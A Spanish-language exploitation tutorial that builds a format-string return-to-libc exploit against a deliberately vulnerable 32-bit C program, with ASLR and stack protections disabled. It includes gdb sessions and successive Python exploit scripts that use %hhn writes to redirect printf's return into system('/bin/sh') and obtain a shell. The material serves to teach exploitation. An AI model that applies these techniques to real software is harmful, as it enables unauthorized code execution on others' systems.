Ataque return to libc

La creación de exploits en un escenario en el que no se admite ejecución de código en la pila.

Análisis del programa vulnerable

E 1

/* e1.c                                         *
* specially crafted to feed your brain by gera */
/* jumpy vfprintf, Batman! */

int main(int argv,char **argc) {
        /* Can you do it changing the stack?  */
        /* Can you do it without changing it? */
        printf(argc[1]);
        while(1);
}

¿Qué hace el programa?

El programa imprime el input del usuario y se mantiene en un loop infinito sin finalizar.

¿Cuál es la dificultad principal?

Entonces a partir de ahora la compilación del binario se realiza de esta manera:

  user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -o e1 e1.c

Ataque return to libc

Se observa un uso vulnerable de printf() bajo la forma: printf (argv[1]). Es posible ingresar un input que incluya especificadores de formato como por ejemplo %x%x (para conocer direcciones de la pila) o %n (para escribir en la pila).

Se puede aprovechar la vulnerabilidad de este programa de varias maneras. En este caso se va a seguir una estrategia de ataque del tipo return-to-libc.

El objetivo será sobreescribir la dirección de retorno de printf() para que en vez de retornar a main(), se ejecute la función system() dentro de libc. Previamente se adecúa la pila para simular un llamado válido a system() con el argumento /bin/sh, que nos dará una shell.

ret2libc

El exploit cuenta con tres partes:

Primera parte: usamos gdb para conocer tres direcciones en el mapa de memoria del proceso: la dirección de retorno de printf(), la dirección de system() en libc y la dirección del string /bin/sh.

Segunda parte: sobreescribimos la dirección de retorno de printf() en principio con un número arbitrario.

Tercera parte: escribimos en esa dirección de retorno exactamente la dirección de system().

Cuarta parte: ubicamos el string /bin/sh en el lugar indicado en la pila para que system() lo considere como su argumento y lograr el llamado a system("/bin/sh").

…………………………………………………………………………………………………………………………………………………

Primera parte: averiguamos con gdb las direcciones necesarias.
Creamos un archivo exploit.py con un input de prueba, cuidando mantener el mismo padding durante toda la resolución del problema para controlar las direcciones de la pila.

   #! /usr/bin/env python 

   import sys
   from struct import pack

   #padding para controlar las direcciones de la pila
   def pad(s):
        return (s + "A"*100000)[:100000]

   exploit  = "BBBB"

   sys.stdout.write(pad(exploit))
  1. Averiguamos la dirección de retorno de printf():
    user@abos:~$ gdb e1
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    Copyright (C) 2014 Free Software Foundation, Inc.
    Reading symbols from e1...done.
    (gdb) r "$(./exploit.py)"
    (gdb) si
    0x080482d0 in printf@plt ()       ; primera instrucción de printf()
    (gdb) x/wx $esp
    0xbffe70c0 : 0x0804840c           ; dirección de retorno a main apilada
    

    En gdb avanzamos instrucción a instrucción con el comando siguiente instrucción ("si") hasta entrar en el call printf. Exactamente en la primera instrucción dentro de printf consultamos el tope de la pila para conocer qué dirección de retorno se apiló antes de saltar a la función.

    La dirección de retorno de printf() es 0xbffe70c0.

  2. Averiguamos la dirección de system() en libc:

    En gdb imprimimos la dirección de la siguiente manera:

    user@abos:~$ gdb e1
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    Copyright (C) 2014 Free Software Foundation, Inc.
    Reading symbols from e1...done.
    (gdb) break main
    (gdb) r "$(./exploit.py)"
    (gdb) p system                    ; consultamos la dirección de system en libc
    $1 = {<text variable, no debug info>} 0xb7e633e0 <__libc_system>
    

    La dirección de system() en libc es 0xb7e633e0.

    Recordemos que podemos utilizar esta dirección dado que la misma no cambia en cada ejecución del programa porque hemos deshabilitado la mitigación ASLR con la configuración:

       user@abos:~$ sudo sysctl -w kernel.randomize_va_space=0
       kernel.randomize_va_space=0
    
  3. Averiguamos la dirección del string /bin/sh:
    Si bien se suele almacenar "/bin/sh" dentro de una variable de entorno, también es posible encontrar ese string dentro de libc. Averiguamos su dirección de la siguiente manera:
           user@abos:~$ gdb e1
              
           (gdb) info proc map                          ; consultamos addr libc
           process 840
           Mapped address spaces:  
             Start Addr   End Addr       Size     Offset objfile
             .... 
    +----    0xb7e25000 0xb7fcc000   0x1a7000        0x0 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so 
    |    
    |        
    +--->  (gdb) find 0xb7e25000, +9999999, "/bin/sh"   ; buscamos desde 0xb7e25000 la dirección de libc 
           0xb7f84551                                   ; encontró una coincidencia
           warning: Unable to access 16000 bytes of target memory at 0xb7fce8d9, halting search.
           1 pattern found.
    
           (gdb) x/s 0xb7f84551                         ; verificamos dirección del string /bin/sh
           0xb7f84551:	"/bin/sh"
    

    La dirección de /bin/sh es entonces 0xb7f84551.

Segunda parte: queremos sobreescribir la dirección de retorno de printf(), en principio con un número arbitrario. Aprovechamos la vulnerabilidad del format string para sobreescribir ese valor en la pila.

  1. Identificamos el parámetro %08x que imprime el format string.
    Construimos un string como input para printf() que imprima el contenido de la pila concatenando varios %08x, y que comience con un patron identificable (0x42424242...).

    El objetivo de este paso intermedio es saber cuál de los parametros %08x imprime el comienzo de nuestro string 0x42424242. Una vez detectado ese parámetro lo reemplazamos por %n, parámetro que no imprime sino que escribe la cantidad de bytes procesados en la dirección dada por el comienzo del string (inicialmente 0x42424242).

    gdb

    Para ello adecuamos el script:

     #! /usr/bin/env python
     """Uso: ./e1 "$(./exploit.py)" """    
    
     import sys
     from struct import pack
    
     #padding para controlar las direcciones de la pila
     def pad(s):
          return (s + "A"*100000)[:100000]
    
     exploit  = "BBBBBBBBBBBBBBBBBBBBBBBBBBB"
     exploit += "BBBBBBBBBBBBBBBBBBBBBBBBBBB"
     exploit += "BBBBBBBBBBBBBBBBBBBBBBBBBBB"
     exploit += "%08x.%08x.%08x.%08x." * 200    ; imprimimos contenido de la pila
    
     sys.stdout.write(pad(exploit))
    

    En gdb vemos la impresión de valores de la pila por los sucesivos %08x.%08x.%08x.%08x... hasta identificar el comienzo del string.

    gdb

    Identificamos cual de los parámetros imprime el comienzo del string. Para eso vamos quitando %08x hasta imprimir sólo el comienzo del string y observar que inmediatamente lo siguen las "AAAA..." del padding.
    En este caso con prueba y error detectamos que el parámetro número 116 imprime el 0x42424242 inicial. En la imagen a continuación se ve cómo lo siguen las “AAAA…” del padding que incluimos.

       #! /usr/bin/env python
       """Uso: ./e1 "$(./exploit.py)" """    
    
       import sys
       from struct import pack
    
       #padding para controlar las direcciones de la pila
       def pad(s):
            return (s + "A"*100000)[:100000]
    
       exploit  = "B"           # alineacion
       exploit += "BBBB"        # comienzo del string
       exploit += "%08x." * 116
    
       sys.stdout.write(pad(exploit))
    

    gdb

  2. Reemplazamos el principio del string 0x42424242 por la dirección de retorno de printf alineada adecuadamente. gdb

    El archivo exploit.py resultante es:

    #! /usr/bin/env python
    """Uso: ./e1 "$(./exploit.py)" """
       
    import sys
    from struct import pack
       
    def pad(s):
         return (s + "A"*100000)[:100000]
       
    ret_addr  = 0xbffe70c0
       
    exploit  = "B"                      # alineacion
    exploit += pack("<I", ret_addr)     # ret_addr_after_printf 
    exploit += "BBBB"
    exploit += "%08x." * 116
       
    sys.stdout.write(pad(exploit))
    

    Y vemos que el parámetro %08x número 116 imprime esa dirección en el output resultante:

    gdb

  3. Si reemplazamos el último %x por %n vemos como escribimos en la dirección de retorno de printf el número de caracteres procesados hasta el momento.

    pila

    Para ello adecuamos el exploit:

    #! /usr/bin/env python
    """Uso: ./e1 "$(./exploit.py)" """
       
    import sys
    from struct import pack
       
    def pad(s):
         return (s + "A"*100000)[:100000]
       
    ret_addr  = 0xbffe70c0
       
    exploit  = "B"                      # alineacion
    exploit += pack("<I", ret_addr)     # ret_addr_after_printf 
    exploit += "BBBB"
    exploit += "%08x." * 115
    exploit += "%n"                     # escribimos caract. procesados
    sys.stdout.write(pad(exploit))
    

    Al ejecutar, como %n siempre escribe la cantidad de caracteres procesados en la dirección dada, vemos que escribimos 0x414 en la dirección de retorno de printf.

    (gdb) r "$(./exploit.py)"
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
    Program received signal SIGSEGV, Segmentation fault.
    0x00000414 in ?? ()                         ; logramos un salto en la ejecución
    Cannot write the dashboard 
    Traceback (most recent call last):
      File "<string>", line 358, in render
      File "<string>", line 939, in lines
    MemoryError: Cannot access memory at address 0x414
    (gdb) x/wx 0xbffe70c0                                                                   
    0xbffe70c0: 0x00000414                      ; logramos esta escritura!
    

    Como en la dirección de retorno se almacena el valor 0x00000414, al finalizar el llamado a printf() se intenta retornar a esa dirección provocando una violación de segmento.
    Logramos cumplir el objetivo intermedio: nos aprovechamos del format string para sobreescribir la dirección de retorno del printf y controlar el flujo de ejecución del programa. En este punto sobreescribirmos la dirección de retorno con el número 0x414 (la cantidad de bytes del string procesados hasta el %n). Todavía es necesario escribir exactamente la dirección de system() para que sea esa la función que se ejecute.

  4. Usaremos como recurso el padding de los parámetros de formato para controlar la cantidad de caracteres que procesa %n. En el especificador previo al %n agregamos un padding %100x para ver la cantidad de caracteres procesados que se escriben.
    El objetivo será reemplazar la dirección de retorno de printf() por system(), es decir, debemos lograr que la cantidad de caracteres procesados coincida con la dirección de system() tal como se muestra en la imagen a continuación.

    pila

    Modificamos el script:

    #! /usr/bin/env python
    """Uso: ./e1 "$(./exploit.py)" """
       
    import sys
    from struct import pack
       
    def pad(s):
         return (s + "A"*100000)[:100000]
       
    ret_addr  = 0xbffe70c0
       
    exploit  = "B"                      # alineacion
    exploit += pack("<I", ret_addr)     # ret_addr_after_printf 
    exploit += "BBBB"
    exploit += "%08x." * 114
    exploit += "%100x"                  # modificamos cant. caract. procesados
    exploit += "%n"                     # escribimos en ret_addr_after_printf
       
    sys.stdout.write(pad(exploit))
    

    Y lo ejecutamos:

    (gdb) r "$(./exploit.py)"
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Program received signal SIGSEGV, Segmentation fault.
    0x0000046f in ?? ()
    Cannot write the dashboard
    Traceback (most recent call last):
      File "<string>", line 358, in render
      File "<string>", line 939, in lines
    MemoryError: Cannot access memory at address 0x46f
    (gdb) x/wx 0xbffe70c0                                                                   
    0xbffe70c0: 0x0000046f
    

    Ahora en la dirección de retorno se almacena el valor 0x0000046f, al finalizar el llamado a printf() se intenta retornar a esa dirección provocando también una violación de segmento. Entonces sabemos que la cantidad de caracteres procesados incluido el padding de "%100x" es 0x46f.

Tercera parte: no queremos escribir cualquier número en ret_addr sino exactamente la dirección de system().
Escribir con %n la dirección de system implicaría procesar una cantidad de bytes enormes, para evitarlo escribiremos la dirección de system de a un byte a la vez con el parámetro %hhn.

  1. Con cuatro parámetros %hhn sobreescribimos de a un byte a la vez la nueva dirección de retorno.
    Recordemos que la dirección de retorno de printf se encuentra en 0xbffe70c0 y la dirección de system es 0xb7e633e0. El objetivo será modificar byte por byte esta dirección de retorno de la siguiente manera:

    Valor de `ret_addr_after_printf`
    
    # byte | ret_addr    | valor actual  | valor deseado (system_addr) 
       0     0xbffe70c0:       0x0c     -->      0xe0
       1     0xbffe70c1:       0x84     -->      0x33
       2     0xbffe70c2:       0x04     -->      0xe6 
       3     0xbffe70c2:       0x08     -->      0xb7
                          ---------------  ----------------  
                             0x0804840c       0xb7e633e0
    

    Entonces en el exploit desglosamos la dirección de retorno en cada uno de sus bytes. Y por cada byte, vamos a incluir una dupla "%<padding>x + %hhn" para escribir una parte de la dirección de system en cada uno de ellos. Por ejemplo, para el primer byte menos significativo de la dirección de retorno incluimos las siguientes líneas en el script:

    #Dupla para 1er byte de ret_addr
    exploit += "%100x"                       #cant. bytes procesados: ???
    exploit += "%hhn"                        #escribe ret_addr_byte_0
    

    El layout de la pila deseado será algo similar a:

    pila

    El exploit queda construido de la siguiente manera:

    #! /usr/bin/env python
    """Uso: ./e1 "$(./exploit.py)" """
       
    import sys
    from struct import pack
       
    def pad(s):
            return (s + "A"*100000)[:100000]
       
    ret_addr     = 0xbffe70c0
    #system_addr = 0xb7e633e0
       
    ret_addr_byte_0 = ret_addr              # low byte: 0x0c
    ret_addr_byte_1 = ret_addr + 1          # 2nd byte: 0x84
    ret_addr_byte_2 = ret_addr + 2          # 3rd byte: 0x04
    ret_addr_byte_3 = ret_addr + 3          #high byte: 0x08
       
    exploit  = "A"
    exploit += pack("<I", ret_addr_byte_0)  #%hhn
    exploit += "BBBB"                       #lo imprime %100x
    exploit += pack("<I", ret_addr_byte_1)  #%hhn
    exploit += "CCCC"
    exploit += pack("<I", ret_addr_byte_2)  #%hhn
    exploit += "DDDD"
    exploit += pack("<I", ret_addr_byte_3)  #%hhn
    exploit += "EEEE"
       
    exploit += "%08x." * 114
       
    #low_byte
    exploit += "%100x"                       #cant. bytes procesados: 0x46f
    exploit += "%hhn"                        #escribe ret_addr_byte_0
       
    sys.stdout.write(pad(exploit))
    

    El primer especificador %100x nos va a permitir -cambiando su padding- modificar el número que escribimos en el byte menos significativo de la dirección de retorno.

    Observamos el valor que obtenemos con ese padding arbitrario de 100, poniendo un breakpoint en la instrucción ret dentro de printf y viendo el nuevo valor almacenado:

     (gdb) r "$(./exploit.py)"
     (gdb) si
     0x080482d0 in printf@plt ()
     (gdb) x/10i $eip
              0xb7e71c63 <__printf+19>:  mov    DWORD PTR [esp+0x8],eax
              0xb7e71c67 <__printf+23>:  mov    eax,DWORD PTR [esp+0x20]
              0xb7e71c6b <__printf+27>:  mov    DWORD PTR [esp+0x4],eax
              0xb7e71c6f <__printf+31>:  mov    eax,DWORD PTR [ebx-0x70]
              0xb7e71c75 <__printf+37>:  mov    eax,DWORD PTR [eax]
              0xb7e71c77 <__printf+39>:  mov    DWORD PTR [esp],eax
              0xb7e71c7a <__printf+42>:  call   0xb7e68290 <_IO_vfprintf_internal>
              0xb7e71c7f <__printf+47>:  add    esp,0x18
              0xb7e71c82 <__printf+50>:  pop    ebx
     break => 0xb7e71c83 <__printf+51>:  ret                        ; detenemos antes de que printf retorne
     (gdb) break *0xb7e71c83		
     (gdb) r "$(./exploit.py)"
    

    Y al llegar al breakpoint, inspeccionamos la pila y observamos el nuevo valor del byte menos significativo de la dirección de retorno :

    gdb

    Vemos como el valor pasa de ser: 0xbffe70c0: 0x0804840c, a ser: 0xbffe70c0: 0x08048487.

    Entonces sabemos que con un padding -arbitrario- de 100 escribimos en el byte menos significativo de ret_addr el número 0x87 o 135 en decimal.

  2. Realizamos cálculos para lograr el número deseado (recordando que la dirección de system() es 0xb7e633e0). En este caso debemos escribir 0xe0 o 224 en decimal, que corresponde al byte menos significativo de la dirección de system().

    Para los cálculos es de utilidad la fórmula:

    #Fórmula para el cálculo del padding
    nro deseado - nro obtenido + padding_anterior = padding_nuevo
    

    En este caso:

       #low_byte
       (nro deseado  - nro obtenido) + padding_anterior = padding_nuevo
       (0xe0 - 0x87) + 100 = ???
       (224 - 135)   + 100 = 189    ; 189 este es el padding necesario para lograr 0xe0
    

    Siguiendo la fórmula, reemplazamos en exploit.py el padding anterior de 100 por el nuevo padding 189 y obtenemos el resultado deseado en el byte menos significativo de la dirección de retorno:

       #low_byte
       exploit += "%189x"                      #cant. bytes procesados: 0xe0
       exploit += "%hhn"                       #escribe ret_addr_byte_0
    

    gdb

  3. Realizamos el mismo proceso para para el resto de los bytes. Primero con un padding arbitrario vemos qué número escribimos en el byte correspondiente de la dirección de retorno. Y luego siguiendo la fórmula modificamos el padding para hacer una escritura con el número adecuado. Hasta finalmente sobreescribir correctamente los cuatro bytes de la dirección de retorno de printf() para que al retornar salte a system() y no a main().

    #! /usr/bin/env python
    """Uso: ./e1 "$(./exploit.py)" """
        
    import sys
    from struct import pack
        
    def pad(s):
            return (s + "A"*100000)[:100000]
        
    ret_addr     = 0xbffe70c0
    #system_addr = 0xb7e633e0
        
    ret_addr_byte_0 = ret_addr              # low byte: 0x0c
    ret_addr_byte_1 = ret_addr + 1          # 2nd byte: 0x84
    ret_addr_byte_2 = ret_addr + 2          # 3rd byte: 0x04
    ret_addr_byte_3 = ret_addr + 3          #high byte: 0x08
        
    exploit  = "A"
    exploit += pack("<I", ret_addr_byte_0)  #%hhn
    exploit += "BBBB"                       
    exploit += pack("<I", ret_addr_byte_1)  #%hhn
    exploit += "CCCC"
    exploit += pack("<I", ret_addr_byte_2)  #%hhn
    exploit += "DDDD"
    exploit += pack("<I", ret_addr_byte_3)  #%hhn
    exploit += "EEEE"
        
    exploit += "%08x." * 114
        
    #low_byte
    exploit += "%189x"                      #cant. bytes procesados: 0xe0
    exploit += "%hhn"                       #escribe ret_addr_byte_0
         
    #2do_byte
    exploit += "%83x"                       #cant. bytes: 0x33
    exploit += "%hhn"                       #ret_addr_byte_1
        
    #3er_byte
    exploit += "%179x"                      #cant. bytes: 0xe6 
    exploit += "%hhn"                       #ret_addr_byte_2
            
    #high_byte
    exploit += "%209x"                      #cant. bytes: 0xb7
    exploit += "%hhn"                       #ret_addr_byte_3
            
    sys.stdout.write(pad(exploit))
    

    Consideraciones:

    Si por el cálculo obtenemos un número negativo como padding, incluimos un 1 delante del número deseado (como descartamos el carry logramos el cometido). Por ejemplo, en el segundo byte de la dirección de retorno queremos escribir 0x33 pero los cálculos nos devuelven un padding negativo, para calcularlo usamos entonces el número 0x133 en vez de 0x33 y descartamos el carry.

    #Fórmula para el cálculo del padding       
    >
    #2do_byte
    exploit += "%08x"                       #cant. bytes procesados deseados: 0xe8
    exploit += "%hhn"                       #escribe ret_addr_byte_1
    

    Probamos con un padding de 08 y procesamos una cantidad de bytes 0xe8. gdb

    #Fórmula para el cálculo del padding
    
    #versión 1: 2do_byte
    (nro deseado - nro obtenido) + padding_anterior = padding_nuevo
    (0x33 - 0xe8) + 8 = ??? NEGATIVO
    
    #version correcta: 2do_byte
    (nro deseado - nro obtenido) + padding_anterior = padding_nuevo
    (0x133 - 0xe8) + 8 = ???       ; reemplazamos 0x33 por 0x133
    (307 - 232) + 8 = 83           ; logramos calcular el padding
    

    Y con un padding de 83 obtenemos el resultado deseado:

    #2do_byte
    exploit += "%83x"                       #cant. bytes procesados deseados: 0x33
    exploit += "%hhn"                       #escribe ret_addr_byte_1
    

    Finalmente, logramos sobreescribir correctamente los cuatro bytes de la dirección de retorno con el valor de system en libc (0xb7e633e0):

    gdb

    Y logramos un salto a system():

    gdb

    El layout de la pila resultante es el siguiente:

    pila

Cuarta parte: para que el llamado a system() nos devuelva una shell, esta función debe tener como argumento el string /bin/sh.

Dado que el llamado a system() no se hizo con una instrucción call sino que se logró modificando una dirección de retorno de otra función, es necesario cumplir con la expectativa de system() en relación a la pila. Siguiendo la convención del llamado a funciones, system() espera en el tope de la pila una dirección de retorno (ret_addr_after_sys) y antes su argumento.
Ese estado de la pila es el que hay que construir a mano, para ubicar el string /bin/sh en el lugar indicado y cuando la ejecución salte a system() esta función identifique a ese string como su argumento.

gdb

Consideraciones:
La dirección de retorno ret_addr_after_sys no nos interesa en este momento (únicamente la tenemos en cuenta para saltearla). No obstante, si se controlan las sucesivas direcciones de retorno es posible encadenar varias llamadas a funciones o incluso otro tipo de gadgets, de ahí el nombre de return-oriented programming.

  1. Seguimos el mismo procedimiento pero esta vez para almacenar la dirección de /bin/sh (antes vimos que era 0xb7f84551) en la posición exacta en la pila dónde system() buscará su argumento (ret_addr + 8 = 0xbffe70c8).

    Y finalmente el exploit resultante es:

    #! /usr/bin/env python
    """Uso: ./e1 "$(./exploit.py)" """
        
    import sys
    from struct import pack
        
    def pad(s):
            return (s + "A"*100000)[:100000]
        
    ret_addr     = 0xbffe70c0
    arg_sys_addr = ret_addr + 8                     #0xbffe70c8
        
    #system_addr = 0xb7e633e0
    #bin_sh_addr = 0xb7f84551
        
    ret_addr_byte_0 = ret_addr                      #low byte
    ret_addr_byte_1 = ret_addr + 1
    ret_addr_byte_2 = ret_addr + 2
    ret_addr_byte_3 = ret_addr + 3                  #high byte
        
    arg_sys_addr_byte_0  = arg_sys_addr             #low
    arg_sys_addr_byte_1  = arg_sys_addr + 1
    arg_sys_addr_byte_2  = arg_sys_addr + 2
    arg_sys_addr_byte_3  = arg_sys_addr + 3         #high   
        
    #ret_addr de printf()
    exploit  = "A"
    exploit += pack("<I", ret_addr_byte_0)          #%hhn
    exploit += "BBBB"                               #%x
    exploit += pack("<I", ret_addr_byte_1)          #%hhn
    exploit += "CCCC"                               #%x
    exploit += pack("<I", ret_addr_byte_2)          #%hhn                               
    exploit += "DDDD"                               #%x                                 
    exploit += pack("<I", ret_addr_byte_3)          #%hhn
    exploit += "EEEE"                               #%x
        
    #argumento de system()                  
    exploit += "FFFF"
    exploit += pack("<I", arg_sys_addr_byte_0)      #%hhn
    exploit += "GGGG"                               #%x                                 
    exploit += pack("<I", arg_sys_addr_byte_1)      #%hhn                               
    exploit += "HHHH"                               #%x                                 
    exploit += pack("<I", arg_sys_addr_byte_2)      #%hhn                               
    exploit += "IIII"                               #%x                                 
    exploit += pack("<I", arg_sys_addr_byte_3)      #%hhn                               
    exploit += "JJJJ"                                                                   
        
    #padding
    exploit += "%08x." * 114                
        
    #calculo system() addr                                                              
    #low_byte
    exploit += "%189x"                      #cant. bytes procesados: 0xe0               
    exploit += "%hhn"                       #escribe ret_addr_byte_0                    
    #2do_byte
    exploit += "%83x"                       #cant. bytes: 0x33                          
    exploit += "%hhn"                       #ret_addr_byte_1                            
    #3er_byte
    exploit += "%179x"                      #cant. bytes: 0xe6                          
    exploit += "%hhn"                       #ret_addr_byte_2                            
    #high_byte 
    exploit += "%209x"                      #cant. bytes: 0xb7                          
    exploit += "%hhn"                       #ret_addr_byte_3                            
                                                                                            
    #calculo /bin/sh addr 
    #low_byte
    exploit += "%154x"                      #cant. bytes procesados: 0x51               
    exploit += "%hhn"                       #escribe arg_sys_addr_byte_0                
    #2do_byte
    exploit += "%244x"                      #cant. bytes: 0x45                          
    exploit += "%hhn"                       #arg_sys_addr_byte_1                        
    #3er_byte
    exploit += "%179x"                      #cant. bytes: 0xf8                          
    exploit += "%hhn"                       #arg_sys_addr_byte_2                        
    #high_byte 
    exploit += "%191x"                      #cant. bytes: 0xb7                          
    exploit += "%hhn"                       #arg_sys_addr_byte_3                        
        
    sys.stdout.write(pad(exploit))
    

    Y al ejecutarlo logramos llamar a system("/bin/sh") y obtenemos una shell.

    gdb

¿Cómo seguir?

  1. Usar variables de entorno: plantear un ataque alternativo a E1 almacenando /bin/sh en una variable de entorno.